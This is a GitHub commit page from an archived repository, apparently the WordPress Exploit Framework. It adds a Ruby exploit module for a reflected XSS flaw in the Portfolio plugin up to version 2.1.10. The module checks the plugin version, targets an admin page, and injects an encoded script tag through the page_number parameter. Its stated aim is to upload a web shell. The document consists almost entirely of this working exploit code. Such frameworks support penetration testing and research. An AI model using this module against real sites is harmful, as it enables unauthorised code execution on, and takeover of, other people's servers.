Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 014b88a

Browse files
committed
Add Portfolio <= 2.1.10 reflected XSS module
1 parent 8577a72 commit 014b88a

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
class Wpxf::Exploit::PortfolioReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Portfolio <= 2.1.10 Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8637'],
14+
['URL', 'https://www.rastating.com/portfolio-2-1-10-reflected-xss/']
15+
],
16+
date: 'Aug 30 2016'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('portfolio-gallery', '2.1.11')
22+
end
23+
24+
def vulnerable_url
25+
normalize_uri(wordpress_url_admin, 'admin.php?page=portfolios_huge_it_portfolio')
26+
end
27+
28+
def initial_script
29+
create_basic_post_script(
30+
vulnerable_url,
31+
page_number: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
32+
)
33+
end
34+
end

0 commit comments

Comments
 (0)